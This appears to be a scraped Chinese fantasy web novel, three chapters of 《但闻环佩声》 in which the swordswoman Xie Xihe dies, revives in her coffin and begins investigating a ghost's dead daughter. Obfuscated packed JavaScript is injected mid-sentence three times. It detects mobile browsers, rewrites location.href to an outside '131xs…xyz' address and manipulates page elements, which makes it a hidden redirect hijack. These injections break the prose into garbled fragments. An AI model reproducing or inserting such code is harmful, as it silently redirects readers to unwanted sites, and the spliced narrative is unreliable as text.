《但闻环佩声》 1. 魂梦黄泉一生死1 张不疑没有开玩笑,谢羲和死了,死得透透的。 一睁眼,谢羲和便到了酆都城外。 黄沙蔽日,凄厉的风声在耳畔尖啸,远处被风蚀的岩柱如巨兽残骸般耸立,嶙峋怪石的阴影中似乎有什么东西蠢蠢欲动。 谢羲和身前堵着一条歪歪扭扭的长队,身后的人数还在不断增加,尽是些逐渐凝形的魂影,一个个唉声叹气、哭哭啼啼。 几个穿着黑衣的鬼差皆是“这差事什么时候是个头”的厌世脸,没精打采地维持着秩序。 突然,一个肥头大耳、作富商打扮的鬼魂粗鲁地推搡开前面的鬼,他腆着肚子,一副目中无人的模样,显然是生前横行霸道惯了。 那通道本就狭窄,仅容一人通过,被他这般一搅,队伍瞬间就乱了。 领头的鬼差顿时火了,抡起手里那根锈迹斑斑的叉子就骂:“找死啊!黄泉路上还插队?给你脸了?!” 那富商鬼不服,张嘴欲辩,可鬼差哪里还肯给他机会?话音未落,就把那富商鬼叉起来,胳膊一甩,直接丢进黄沙里。 “啊!”那嚣张的富商鬼只来得及发出一声惨叫,坠入流沙的瞬间便被翻滚奔腾的黄沙吞噬、磨灭。 原来那沙是流动的,黄泉路黄泉路,黄泉指的就是这黄沙。众鬼魂顿时噤若寒蝉,生怕惹了鬼差不高兴再死第二次。 阴风卷着沙砾,吹打着无尽而沉默的队伍。 谢羲和跟着队伍慢慢挪动,不知过了多久,她终于来到城门下。 只见一个糟老婆子守着一口冒泡的大锅,汤的颜色看起来十分不美妙,散发着一股难以形容的味道。 有了富商鬼的前车之鉴,这些个鬼魂都不敢置喙,眼睛一闭,咬咬牙一口灌了。 “下一个。” 糟老婆子头也不抬,随手捞起一个碗,在脏得看不出原本颜色的裙摆上蹭了两下,舀起一勺递给来人。 谢羲和前面是个病怏怏的鬼,只见他吓得连声音都变了调,带着哭腔拼命后退:“我……我不喝!这汤有毒吧?!”他像是想起了极恐惧的事,声音骤然尖利,“我生前就是吃坏了肚子,疼了三天三夜才死的!我不要再吃——” 旁边的鬼差连白眼都懒得翻了,不耐地斥道:“由得你挑三拣四?喝不下汤,便去黄沙里洗洗肠胃!” 话音未落,那病弱鬼已被锁链拖着,踉踉跄跄跌入滚滚黄沙,顷刻间便被漫天风沙吞没。 鬼差面无表情地朝着队伍吼道:“下一个!” 一只还算干净的碗猛地怼到谢羲和面前,碗里灰扑扑的浓汤冒着黏腻的气泡,谢羲和只瞧了一眼,弯腰就是一声:“呕!” 鬼差顿时怒了,锁链一抖:“嘿呀!今天的刺头怎么就不长记性?看来是非得让爷爷我给你们紧紧皮——” 话音未落,只听“咚”的一声,那熬汤的老婆子竟抄起那柄长勺,结结实实地敲在那鬼差的后脑勺上。 “哎哟喂!”鬼差吃痛,捂着脑袋又惊又怒,“孟婆!你发什么疯?!打我做甚?!” 孟婆劈头就是骂:“打的就是你个没眼力见的东西!”她嘴角勉强扯出比哭还难看的笑容,脸上的皱纹挤成一团更像是在发愁,回头道:“蘅芜君……您老人家怎么又来了?” 旁边的鬼差一听“蘅芜君”三字,像是想起了什么可怕的记忆似的,整个鬼都缩进城墙的阴影中,恨不得把自己藏进墙缝里去。 这孟婆,也不知是有心还是无意,“蘅芜君”这称号,谢羲和已经百余年没听人提起过了。 想当年她初登仙门,众道友见她气度清冷澄澈,眉目间自带一段寒潭烟雨般的疏离之美,便赠她“蘅芜”之号,本意是赞她如蘅芷清芬、幽兰独放,颇有瑶台仙品之姿。 谁知相处日久,这才发现她性情跳脱不羁、专爱寻个热闹,平生最大乐事便是“略掀波澜”。如此行径,怎匹配得了“蘅芜”这般清雅幽寂的名号?久而久之,众道友皆默契不提旧称,只恭敬地唤她一声“谢元君”。 想到此处,缓过来的谢羲和面色古怪:“孟婆多年不见,你的烹饪之道还是如此别出心裁。” 孟婆哭也知道自己一时说错话了,丧着脸道:“谢元君,你可别埋汰老婆子我了,瞧瞧黄泉路上这没完没了的人,能保证这汤的供应已是拼了老命了!” 谢羲和建议道:“那些丢进黄泉的鬼魂,不多时又会爬出来,不如让他们留下来帮你洗碗打杂,多试几个口味,岂不两全其美?” 孟婆一听,吓得连连摆手:“您可真是贵人多忘事,上次您打这儿经过,非要发慈悲说要找几个鬼替我‘改良汤方’,他们个个觉得自己调的味儿天下第一,吵得不可开交,您嫌他们聒噪,一挥袖把他们全撂倒了。其中一个不偏不倚,正好掀翻了我这口老锅,这鬼门关硬生生堵了三天三夜!” 谢羲和完全不记得有这事:“……是吗?” “还有上上回,您老人家……”孟婆话到嘴边又猛地咽了回去,一副不堪回首的模样,几乎是推着她往城里赶,“谢元君,行行好,高抬贵脚,快往里请吧!我这把老骨头和这小摊子,再经不起折腾了!” 这时,刚从黄泉里冒出一个头的病弱鬼吐了一口沙哑声喊道:“不公平!凭什么她就能不喝!都当鬼了,难道还得看人情脸面吗?” 鬼差看也不看,反手一叉,又将病弱鬼掀回黄泉之中。 孟婆心头冷笑:“她喝?哼,她若真想把前尘往事忘了,还不知道又要惹出多大的祸事!这责任是你担,还是我担?” 谢羲和:罢了。左右只是吓吓他们。 酆都是鬼城,入城不必缴人头税,只需黄泉路上饮一碗孟婆汤。过了鬼门关就算入了城,城中只有一条蜿蜒向上的干道,名为碧落,直通奈何桥,再往前走便是极净之河忘川,跳进去就入了轮回。 长街两侧最多的便是客栈,幽绿、惨白的灯笼照亮了前路,招阴幡是为了招财,只是这财是冥钱,招来的也是阴魂,故而各家幡子上绣的不是“生意兴隆”,而是“早登极乐”、“转世荣华”之类的吉祥话。 谢羲和边看边走,忽然倒转身去停在了一家挂着无字白幡的小店门口,门匾上没有名字,只是角落里歪歪扭扭写着几个小字:“酆都第一老字号”。生怕人发现似的,它硬生生挤在两座气派的客栈缝隙之间,窘迫里透出几分滑稽。 她推门而入,檐下铜铃“丁零”一声轻响,只见一人横卧堂中,头上挂着“醉生梦死”四个大字,长发未束,红裙铺展,烛光映照下,身后的影子活像一朵艳丽荼蘼的彼岸花。 红衣女子正自斟自饮,头也不抬:“小店今日不开张,客官还是另寻他处吧。” 谢羲和:“不用你开张,只讨杯酒喝。” 红衣女子动作一顿:“哟,稀客啊。谢羲和,这一次莫非又是那小菩萨亲自捅的你?我想想。算上这回已是三进三出了?” 谢羲和:“翟缨,你可真不讨喜。” 翟缨道:“彼此彼此,我还道哪个不长眼的进我这店,原是个长瞎眼的。” 谢羲和回敬道:“总比有些人长了一双好眼却不用的强。” 闻言,翟缨直起身来,定睛一看,天地人三魂俱在:“弭殃是轮回之剑,只送地魂入酆都,既然不是弭殃剑出得手,那定是你这些年不着调,不知得罪了哪个小气鬼。” 谢羲和眨眨眼,无辜道:“我这般人见人爱,还能得罪谁?” “哦。”翟缨翻了个白眼。 谢羲和漫不经心地给自己倒了杯酒道:“我思来想去,普天之下能杀我的,掰着指头数也不过七人。” 翟缨道:“你的名单上可是有我的名字?” 谢羲和道:“赤凤枪翟缨,虽久不出世,甘愿窝在酆都醉生梦死,但只要听说过黄金台上火凤焚天的那一枪,又有谁敢真的小瞧你?你自然是在我的名单上的。” 翟缨顿时喜笑颜开,道:“哼,当你是在夸我了。既然如此,我再帮你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406272|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排除一个名字吧。饮悔鞭沈棹雪五年前刚从我门前路过跳忘川去了,就算天赋再高,现在恐怕也只是个成不了气候的小丫头片子。” 谢羲和回想起那摧枯拉朽的一剑。那是一把再普通不过的无名之剑,可偏偏就是这么一把剑破开她的防御一剑穿心。 天下武功都有类似之处,领会其中门道者就能触类旁通,谢羲和用剑,故而能看出其中的蹊跷。若存心掩藏身份,只是一“刺”,那么用的武器、手段都算不得证据。 翟缨不知其中明细,谢羲和也不打算解释其中关窍,只顺水推舟道:“这么说来,就只剩下五个人了。” 翟缨道:“这闹的,都算是老熟人。弭殃剑王瑞宜、滕雾刀张不疑、冥冥扇钟离昧、止水剑迟惑,以及贲华络燕娴。” “不错。”谢羲和道:“钟离昧与我同期得道于南朝,张不疑与我……有旧,对彼此的底细算得上一清二楚。王瑞宜自不必说,人人都知晓迦蓝寺有个佛心通明的小菩萨,此前杀我是为正道,故而与也我算不得仇。迟惑此人于云门镇灵山得道成仙,这些年行走于世除魔卫道,名声还算不错。唯有这燕娴,当年群仙宴上远远的见过一次,我只知她久居绛州不夜城,深居简出,罕有行迹。此人深浅难测,故而顺路来问问你。” 翟缨道:“问我也没用,当年乱世七国,燕国最是弱小,我哪里有心思关心他们的闲散宗室?” 谢羲和奇道:“就真的一点消息也没听过?” 翟缨正要再说什么,却见谢羲和身形微不可查地晃了一下,翟缨神色凝重起来,猛得望向窗外。 只见窗外圆月高悬,清冷皎洁的月光如水银泄地,竟透过窗户,不偏不倚地照在谢羲和身上。 谢羲和只觉得魂体一轻,仿佛被什么无形之力牵引,手中的酒杯“当啷”一声掉在桌上——不是她没拿稳,而是她整个人像是投入水中的倒影,被涟漪轻轻荡开,变得模糊不清。 翟缨面色一变,急急说了些什么,但谢羲和已然听不见了。 无形的潮水裹挟着她,神魂在虚实之间剧烈撕扯,一番天旋地转之后,她陷入了无尽的黑暗。 等再睁眼时,她已经回到了人间。 三魂被月光重聚,两仪阵自发运转,修复着七魄。身体好似在一叶扁舟在水面上浮浮沉沉,狭窄的、被紧密包裹的压迫感从四面八方传来,空气稀薄,闷热而潮湿,她闻到了一股陈腐的沉香木气味,耳畔隐隐听见泠泠之声,像是有铃铛在响。 她的身体正躺在在一个狭窄、密闭、移动着的空间里——棺材。谢羲和心里发笑:这怕不是在扶灵下葬的路上。这也算是八百年漫长生命中新奇的体验了,她也算是酆都的“常客”,却还是第一次进棺材。 魂魄正被缝合,细密尖锐的疼痛加诸于神魂之上,肉身开始复苏,心脏被刺穿的地方传来愈合的钝痛,凝滞的血脉开始流转,僵硬的躯体逐渐有了温度。 “扑通”,是心脏重新坚定有力跳动的声音。 谢羲和缓缓睁开眼,手指几不可察地微微一动。片刻后,她蓄足力气,猛地抬起双手,重重抵住头顶那面沉重的棺盖—— “——砰!”棺盖骤然滑开的巨响打破了寂静的夜。 为首穿着孝服的少年郎腰间银铃疯狂震动着,他猛地回头,脸上似喜似悲。引路人手中灯笼“啪”地一声掉落在地,抬棺人齐齐僵在原地,揉着眼睛以为自己看花了眼,不然为什么会看见本应死去的人,正缓缓自棺中坐起?! 惨白的月光倾泻而下,将棺中之人完全笼罩,勾勒出一圈朦胧而诡谲的光晕。她身后那轮圆月异乎寻常地庞大,散发着森冷的光泽,宛如悬于夜幕的一只巨眼,正无声无息地凝视着人间。 月光流淌过她的衣袂与发丝,而她静坐其间,似真似幻,美得令人窒息,又诡得教人心惊胆寒。 死寂只持续了一刹。 随即,一声撕心裂肺的尖叫划破夜空:“啊啊啊——诈、诈尸啦!!!” 2. 魂梦黄泉一生死2 抬棺的人吓得魂飞魄散,四散奔逃,而棺材没了支撑,重重摔在地上。谢羲和推开那钉死的棺木已是耗尽气力,猝不及防下,脑袋狠狠撞在棺壁上,眼前顿时又是一黑。 谢羲和正晕头转向,忽然感觉身子一轻,被人从棺材里拎了出来,手腕上一痛,下一刻,一道寒气逼人的灵力缠上她的手腕。视线恢复清明,那披麻戴孝的少年郎就站在她的身前,一手抓住她的手腕,另一只手握着宵练,剑尖对准的却是——张不疑。 谢羲和愣住了,她从来没有见过这样的陶云倦,他眼神冷得吓人,完全看不出在西陵山上和她撒泼打诨的模样,明朗带笑的少年此刻眼中全是冰冷的戒备,不仅是对张不疑的,也是对她的。 谢羲和低头看看腕上那明显用于验明正身、祛邪除恶的咒术,又看看剑拔弩张的张不疑与陶云倦,瞬间明白当下是什么情况。 以自己死而复生、从棺材里爬出来的架势,怕是被她这小徒儿当成什么占了她身体的孤魂野鬼了! 可陶云倦不知内情也就罢了,张不疑难道还不清楚吗?! 想到这里,她的怒气蹭蹭蹭往上涨,她猛地抬头,视线越过陶云倦的肩头,死死钉在张不疑那张面无表情的脸上,咬牙切齿道:“张、不、疑!” 被点了名的人尚未回应,近前的陶云倦却浑身一震,倏然回头,那双原本因悲恸而黯淡的眸子瞬间爆发出难以置信的光彩,声音颤抖,语气惊疑不定:“师……师父?!” 谢羲和来不及理会,右手凌空一抓,喝道:“寤生,剑来!” 剑来!剑来!剑来!剑…… 谢羲和看着空空如也的手心,一脸不可置信:所以,她的剑呢?! 周遭空气一凝,陶云倦眼中的光亮暗了下去,取而代之的是全然的冷漠与戒备。 见此情景,张不疑“噗嗤”一声笑出了声:“放轻松,她就是你认识的那个谢羲和。‘将生未生,将死未死,复生复死,月照空身。’说的可不就是蘅芜君谢羲和出世之景吗?” 陶云倦握剑的手指微微收紧,剑尖虽未抬起,但目光却在谢羲和与张不疑之间来回扫视。片刻后,他手腕一振,宵练剑发出一声低低的清鸣,倏然归鞘。 他猛地松开了扣住谢羲和的手,像是被烫到一般,默不作声地向后退了一步。没说信了还是不信,只是用那双恢复平静的眼睛,幽幽地盯着谢羲和。 他这一退,虽未言语,但谢羲和一看便知,她这小徒儿必然是委屈了。一想到他以为自己死了,为她披麻戴孝、扶灵柩回西陵,哪怕疑心她因什么邪术而复生,也不惜与张不疑为敌挡在前面,她心中就只剩下感动和愧疚了。 谢羲和决定祸水东引,她看向张不疑,蹙眉道:“你在搞什么鬼?” 张不疑一摊手,道:“谢羲和,这你可冤枉我了,我可是好心来替你收尸的。” 陶云倦蹙眉:“听你这话的意思,你不是第一个发现我师父的?” 张不疑道:“通知我的是钟离昧。” “钟离昧?”谢羲和惊讶道:“那他人呢?” 张不疑道:“我到时,他已经联系不上了。之后我就通知你徒弟来了,查看现场时发现你受得是剑伤,奇怪的是,现场没有一把剑,包括你的寤生。” 谢羲和又开始发晕,她这刚复苏的身躯本应该好好休养一番,撑到现在确实有些勉强了。 陶云倦本能地扶住她,叹了口气,又将棺材板盖回去,低声说:“师父,坐下说吧。这究竟是怎么一回事?” 谢羲和定了定神,道:“一切都要从钟离昧的信说起……” 那封信陶云倦也看过,那日他在观雪庭中练剑,送信的青鸟在霞光流转的扶桑树上绕了几圈,落下一片翎羽,飘入谢羲和掌中化为一纸书信。 羲和吾友: 久疏问候,别来无恙否?下月望日,特设薄宴于河掖望月楼,邀故人一叙。若卿负约不至,昧新识十八姝丽,慕西陵胜境久矣,定当香车宝马,随某踏月相访。群姝娇嗔,笙歌达旦,恐扰清净。愿君慎思。 挚友钟离昧顿首 那钟离昧的字迹如同此人一般狂傲之极,气得谢羲和用火烧了那信,放出话说:要是钟离昧敢来西陵,她必让他和他那些美人有来无回,通通埋进土里当花肥。 谢羲和此人最讨厌被人威胁,但钟离昧的威胁她确实还是要“慎思”的。虽说他二人都奈何不了彼此,但钟离昧说得出做得到,而谢羲和的脸皮终究还是薄了一些,所以还是去赴了宴。 “席间也没什么特别的事发生,无非就是几个老朋友叙叙旧。”谢羲和状似不经意地看了陶云倦一眼,发现他安静地站在一旁认真听着,这才继续道:“之后我就动身回西陵,刚出河掖不久,便接连遇到伏击。直到最后一剑,大概有二十来波,来者都带着恶鬼面具,身着黑衣,修为相近不高不低却极其难缠,功法看不出路数却招招致命,更像是——” “有组织的杀手。”张不疑道:“据说琅乡出了一个名为‘笑般若’的杀手组织,门人装束与之相似,短短半年便名声鹊起,若是里面都是仙门中人,这可就有意思了。” 陶云倦道:“即使是这样,那些人也没那么容易伤到师父你吧?” “是,问题就在于此。其中某些人的修为会在刺来的一瞬突然暴涨,也不知道之前是在隐藏实力还是什么密术,虚虚实实,让人防不胜防。”谢羲和笑了笑:“而最后一人、最后一剑,功力与我不分伯仲。” 张不疑沉默片刻,道:“‘笑般若’这条线交给我来调查。” 谢羲和定定地看着他,随即一笑:“好。” 陶云倦再度开口道:“师父,他们拿走寤生剑又是为了什么呢?或许,杀你只是手段,而非目的。寤生剑可是有什么特别的用处?” “寤生与我神魂相连,但现在不知道被对方用什么方法断了感应。我也想知道,他们费那么大力气,夺走一把自己无法驱使的剑,究竟意欲何为?”谢羲和略一停顿道:“或许,等找到钟离昧,这一切便能水落石出了。” 话到此处,虽然还有诸多疑点,事情已经大致理清。 三人陷入了沉默。一时间,官道上只余夜风拂过枝叶的细微声响。 陶云倦垂着眼避开谢羲和的视线,低头把玩着她在拜师时送给他的信物——那绥铃本无声,只有佩戴者心不静、魂不定时放会自响。 就在这时,陶云倦抬眼,目光直直望向张不疑,语带质问:“离徽君既然知道师父会死而复生,为何偏偏瞒着我呢?” 谢羲和心里“咯噔”一声。来了。这混小子果然憋着劲儿呢!刚才压着脾气先办正事,现在事情稍定,便开始阴阳怪气。 谢羲和左看看右看看,帮腔道:“对啊,你干嘛不告诉我徒儿,害他白白担心一场。” 张不疑轻描淡写道:“谁知道他对你这师父这么没信心?何况你身殒是事实,算不得我作假。至于其他,他也没问。” 陶云倦低头笑笑,看了一眼谢羲和,自嘲道:“师父,想是我学艺不精,竟不知人间道中也有死而复生之法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406273|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这也不怪你。你们两个空有师徒之名,师不像是师,徒不像是徒。”张不疑插嘴拱火道:“你不知道也正常,她谢羲和所修的,从来就不是人间道,而是涅槃道。” 谢羲和知道张不疑这是不满自己偏袒陶云倦在存心挑拨,她狠狠瞪了张不疑一眼,低声解释道:“此事是我没说清。你只知如今修行正道有两途,但在几百年前,除人间道、轮回道之外,还有涅槃道。” 陶云倦当然知道,如今修仙界公认的正道有两途,而人间道乃是修行根基。谢羲和常说:人尚未做好,何谈修仙?正因她只传他人间道心法,从未提及他途,他这才一直以为谢羲和所修亦是此道。 人间道,讲求的是“万象心生,于红尘中见真我”,须得入世历练、明心见性,待得天人合一,自可长生久视。 轮回道则需“宿慧通明,累世功德不散”,能成此道者,必然是百世行善、灵台不昧之人。 而谢羲和所修的涅槃道,曾位列正道三途,讲求的是“寂灭真如,死生如一”。涅槃道不入轮回,全凭己身一点灵光引动两仪阵法,于生死关头逆转阴阳、重塑魂魄,其过程凶险万分,因而成功者寥寥。 人间道或轮回道纵然羽化失败,本质上仍然是“人”,逃不过重入轮回或灵力散尽的宿命。而涅槃一旦失败,无一例外,必化为灾厄,其寂灭之力更会直接破开阴阳界限,变成没有神志的“厄”,只记得生死一瞬时的执念,若放任自流,必会反噬人间百年,其危害远非普通修行失败可比。 据说五百年前,就曾有一位仙者涅槃失败,羽化成“厄”,所到之处化为鬼蜮,哪怕最后守仙宫出手也依旧付出惨痛的代价方才成功镇压。经此一役,守仙宫决意将此道法门彻底封存。久而久之,此道的修行者日益稀少,正统传承也近乎湮没,涅槃道也因此被移出正道之列。 谢羲和语气软了几分,解释道:“我许久未经生死关头,因而自觉此事不必刻意提及。” 陶云倦安静地听着,垂在身侧的手不自觉地握紧。末了,他极轻地应了一声:“可是师父,你说涅槃道之难,就不怕自己真的......”他猛地顿住,最后那个字,他无论如何也说不出口。 谢羲和愣了一下,她主动或被动,早已不知道在黄泉路上走过多少次了,对于生死的界限早已模糊不清。相比于自己的生死,她更在意的是那些人拿走寤生的原因。 倒是张不疑嗤笑一声,像是替谢羲和解释,又分明是在挖苦:“你要相信,谢羲和最会为难。像她这样的人,只要心里还有一丝念想,忘川也沉不了她。” 为难?为难自己还是为难他人? 陶云倦不愿看他们的眉眼官司,讲得是他不知道、也不打算与他细说的事。那默契像一道墙,将他隔绝在外,提醒着他自己所知甚少。 他从袖中取出一方素白巾帕,慢条斯理地开始擦拭起宵练剑来:“师父深谋远虑,自有道理,是我僭越了。” 沉默。又是一阵沉默。 谢羲和只觉得头皮发麻,揉了揉额角,生硬地转移话题道:“其实刚才就想问了,你们哪儿找来的哭坟班子?这调子也忒难听了。” 陶云倦默默看向了张不疑,张不疑眉梢一挑:“看我作甚?我像是会找哭坟班子的人吗?” 谢羲和和陶云倦异口同声道:“你就是。” 张不疑黑脸:“……不是我。” 谢羲和环顾四周漆黑的夜色:“那么问题来了,既然不是你们找来的,这大半夜荒郊野岭的,是谁在哭呢?” 3. 秋坟鬼唱吊香魂1 谢羲和死而复生的地方,名为榕山,隶属四屏郡清平县。 这榕山是清平县中寻常百姓祖祖辈辈的墓葬之地,荒草萋萋,坟茔叠叠。此刻夜深人静,唯有风声呜咽、野草虫鸣。 陶云倦持剑在前开路,剑锋扫过之处,丛生的荆棘与野草伏倒,勉强清出一条可供人通行的小径。 越往深处走,那凄楚的呜咽声愈发清晰,忽然,陶云倦脚步一顿,低声道:“师父,是个妇人。” 谢羲和道:“你再仔细看看。” 陶云倦再看,那扑在坟前哀哀哭泣的妇人,在满月之下竟也不见半点影子,“原来是个守尸鬼。” 人有三魂:天魂归天,乃修行者所称之元神;地魂入酆都,等着孟婆汤生效轮回转世;而人魂,亦称守尸鬼,往往滞留于墓地坟茔,徘徊不去。 那妇人的坟堆甚是潦草,几乎与邻近的荒坟连成一片,显然是仓促下葬,坟头空荡荡的,可见她必然是个没人祭拜的可怜鬼。 谢羲和缓声道:“她无人祭祀,魂魄无依,本就难散,而我的两仪阵是至阴之阵,这才意外助她显形。” 陶云倦走上前,在那沉浸于悲痛、恍然未觉的妇人眼前挥了挥手。那妇人被突然出现的生人惊动,抬起泪眼模糊的脸,吓得魂体一颤,失声叫道:“鬼、鬼啊!” 陶云倦平静道:“你仔细想想,我们是人,你才是鬼。” 妇人闻言一怔,幽暗混沌的思绪仿佛被这句话点明,她低头看了看自己虚实难辨的手掌,又望向身前冰冷的坟土,喃喃道:“是了…是了……我已经死了……” 那妇人哭声哀切,字字血泪,语无伦次,谢羲和渐渐从那断续的诉说中拼凑出一个再寻常不过的悲剧。 这妇人唤作王秀,十指常年缠绕丝线,眼底却从未见过清平县外的天地。后来,王秀嫁了同村的秀才,婚后未满一年,丈夫便上京赶考,也不知是不是路上得了急症还是遇上匪盗,从此石沉大海,音讯全无。 彼时她已有了身孕,不久后便生下了一个女儿,取名王香。王秀一人生活本就艰难,又多了个嗷嗷待哺的孩子,从此更是熬更守夜地绣花,眼睛渐渐坏了,但她心却还未死,总想着把女儿拉扯大,日子就会有个盼头。 王香没有辜负母亲的期待,平安健康的长大了,难得的是她出落得水灵俊秀,天生一副好容貌,被人夸得多了,也渐渐生出了别的心思。 她心气高,不甘于像母亲一样当个绣娘劳碌一生却贫贱一辈子。她自己偷偷学了些字,平日里靠做绣娘维持生计,心里却飘着绮梦,只望有一日能攀上高枝,做人上之人,从此带着母亲摆脱这苦命日子。 后来有一阵,郡里绣坊闹罢工,绣好的布没人来收,王香拿着绣品去郡里散卖,没想到遇见一个路过的富家公子,见她颜色生得好,言语间又有些识见,便甜言蜜语,许下诸般诺言,花言巧语哄骗了她。 王香只道得遇良人,以为终身有靠,轻易托付了身心。谁知那公子薄幸,一朝玩腻便扬长而去,挥挥衣袖连个影子也没留下。 王香失了清白,又遭弃如敝履,在乡邻间受尽白眼。她在家中闭门不出,终日以泪洗面,形容枯槁。王秀看在眼里,痛在心里。 她这一生,所有的依仗和懂得,都系在指尖那一根细小的绣花针上,能绣出贵人手中的富贵牡丹,却绣不出女儿想要的锦绣前程。 她性格温吞甚至有些怯懦,王香虽是她身上掉下来的肉,她却并不了解她。 王秀有心想劝,翻来覆去却只有“想开些”、“日子总要过”这几句干巴巴的话;她想护,但自家那单薄的柴门哪里挡得住刺骨的流言和目光。 她只能守着、陪着掉眼泪,看着女儿一日日消瘦下去,一颗心如同被放在绣架上,被无形的针密麻麻地刺穿。 过了些时日,王香决定离开。她听不进母亲劝她本分留家做绣娘的话,也无法将那些刺耳言语当作耳边风,执意离开了清平县这个伤心地,去了邻近的郡城谋生,指望着能重头再来。 数月后,当王香再回家时,王秀几乎不敢认了。女儿身上那股死气沉沉的颓唐不见了,虽清瘦了些,衣裳也仍是旧衣,但脊背挺得笔直,眼里有了光亮,手脚利落,竟似比往日更有主见。 她告诉王秀,自己加入了一个叫“同心会”的地方,那里尽是些同病相怜的女子,姊妹间互帮互助,一同做活计,谁也不轻贱谁。 “孟会长和姐妹们待我极好,教我识字算数,说女子唯有自强,方能不被人欺。”王秀见女儿重拾生气,言语也豁达了许多,心里自是宽慰。 可渐渐地,王秀察觉出了不对。王香变得神神叨叨,时而因某事亢奋不已,口中念念有词,说什么“功德圆满”、“福报将至”;时而又莫名颓丧,把自己关在屋里,对着墙壁喃喃自语,脸上尽是惶恐自责。 王秀心中揪紧,拉住女儿问她可是发生了什么。王香却眼神躲闪,含糊其辞,只反复念叨:“娘,没什么,在同心会,我才算明白,姐妹一心、互相扶持,这才算是人该过的日子。如今我也总算有了归宿,将来……将来必有福报。” 忽有一日,王香起得很早,将家里里外外收拾了一遍,还给王秀烧好了早饭,细细叮嘱:“娘,柴火我捆好放在灶后了,天冷,别省着。”她语气平常,甚至带着一丝久违的温柔。谁知这一别,王香就再也没回来。 王秀忧心如焚,四处找人打听,最后有人看不下去了,指点她去城外找找。没想到,等待她的竟是女儿冰冷的尸体。王秀心念俱灰,她去报官,钱都拿去打点,但官府最后以无从查证为由搪塞推诿。 王秀求助无门,只得草草埋了苦命的女儿。生命中最后一点盼头随着最后一抔黄土落下彻底熄灭了,王秀没了生志,在女儿坟前寻了短见,还是村里几个心善的老人看不过去,将她收敛了,就埋在了王香坟旁,如此也算是母女团聚。 故事到这里已经大致讲完了,王秀猛地转向三人,连磕了三个响头:“大人,几位大人能看见我,一定是有大神通的人!求求你们,帮帮我……” “起来说话。”谢羲和俯身虚扶:“你要我们如何相助?” 王秀抬起头,眼中泪光闪烁:“我想知道香儿到底是怎么死的!求大人明察,让我们母女死个明白!” “这倒不算难事。”谢羲和略一沉吟,“将你女儿的魂魄招来,一问便知。”她目光转向一旁兴致缺缺的张不疑,“离徽君,借你乾坤袋中的琴一用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406274|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,奏一曲招魂?” 张不疑冷声道:“无相只为有缘人出世,更不奏凡俗之音。” 跪伏于地的王秀身体猛地一颤,头颅垂得更低,那本就虚幻的身影仿佛又淡了几分,身体瑟缩不敢多言,生怕触怒这位冷气逼人的仙君。 谢羲和心下微叹。她本就只是随口一问,猜到他会拒绝,却没想到这么多年过去,张不疑依然拒绝得如此干脆利落,半分情面也不留,不由教她心中泛起一丝隐痛。 张不疑此人,平生别无他好,唯痴于琴。数百年来,多少卖命钱、买命钱,最终皆化作一张张绝世名琴被他藏于府邸。世人只道离徽君张不疑的人间道,一为杀生,二为琴,却不知他这执念实是为一位早已逝去的故人而生。自那人离去后,世间再难有能让他认为值得以琴音相待之人、可染琴心之事。因此,即便他语带暗讽,说她琴艺未臻,谢羲和也并不计较。 陶云倦道:“师父,既然离徽君不便,不如由我来试试?虽无琴箫,以叶代之,或可勉力一试。” 话音未落,他已纵身掠起,摘下一片新叶。指尖清光流转,拂去晨露微尘。他将树叶贴近唇边,一声轻音回响于寂静山野之间。 谢羲和教他的这首招魂曲分为三调,这第一调低沉宽厚,如暮色四合,是大地包容万物般的举托,此调化解“恐”、“悲”之情,专为召引人魂。余音袅袅,空山寂寂,王香的人魂并无回应。 谢羲和觉得奇怪,按理说这等没什么香火的孤魂很难心甘情愿的散去。她与陶云倦交换了一个眼神,陶云倦会意,音调倏转,第二调随之而起,轻快明亮,如浮光跃金,往事掠过心间,这是以欢愉消解“怒”、“思”、“忧”,唤回地魂前世之忆。然而,曲声流转数巡,仍不见魂归。 原本漠然旁观的张不疑,此刻也神色微凝,抬眼望向陶云倦唇间那片薄叶,叶笛由活泼转向沉静,声音空灵澄澈,渺渺如涤尘净念,似有还无,如云外清风拂过九霄,正是化“喜”、“惊”之念,感召天魂的第三调。 一曲终了,余音未绝。王秀扑倒于地,哽咽难言:“这曲子……这曲子听得我心里又暖又疼,像是香儿在轻轻唤我……” 三人心中疑云渐生。王秀既能心生感应,证明招魂曲并未有差错,可为什么王香的魂魄竟似雪入洪炉,无影无踪,连一丝存在过的痕迹都未曾留下? 谢羲和轻声道:“三魂不归,若非已被打散……” 陶云倦接口道:“那便是魂魄已不在幽冥,或是有了新的‘容器’。” 谢羲和沉吟道:“看来,这四屏郡是非去不可了。” 